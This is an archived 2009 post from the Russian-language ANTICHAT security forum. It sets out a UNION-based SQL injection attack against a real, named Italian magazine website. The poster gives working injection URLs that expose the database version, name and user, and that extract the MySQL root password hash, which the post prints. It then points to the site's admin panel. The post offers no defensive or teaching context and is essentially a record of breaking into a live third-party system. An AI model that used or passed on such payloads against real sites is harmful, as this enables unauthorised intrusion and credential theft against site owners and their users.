SQL Инъекции — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

15.02.2009, 22:31

f1ng3r

Участник форума

Регистрация: 14.01.2009

Сообщений: 257

Провел на форуме:
1936181

Репутация: 688

Отправить сообщение для f1ng3r с помощью ICQ

Код:

http://www.cellulare-magazine.it/news.php?id=-1+union+select+1,2,3,concat _ws(0x3a,version (),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

Database Version : 5.0.51a-3ubuntu5.4
Database name : cel_mag
User name : root@localhost

хватаем админа:

Код:

http://www.cellulare-magazine.it/news.php?id=-1+union+select+1,2,3,4,concat _ws(0x3a ,user,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+mysql.user+limit+0,1--

root:*BB9DD2A2E45245A1F1F7218330AD4AC2551D1498

админка:

Код:

http://www.cellulare-magazine.it/ admin/

Последний раз редактировалось f1ng3r; 15.02.2009 в 23:55..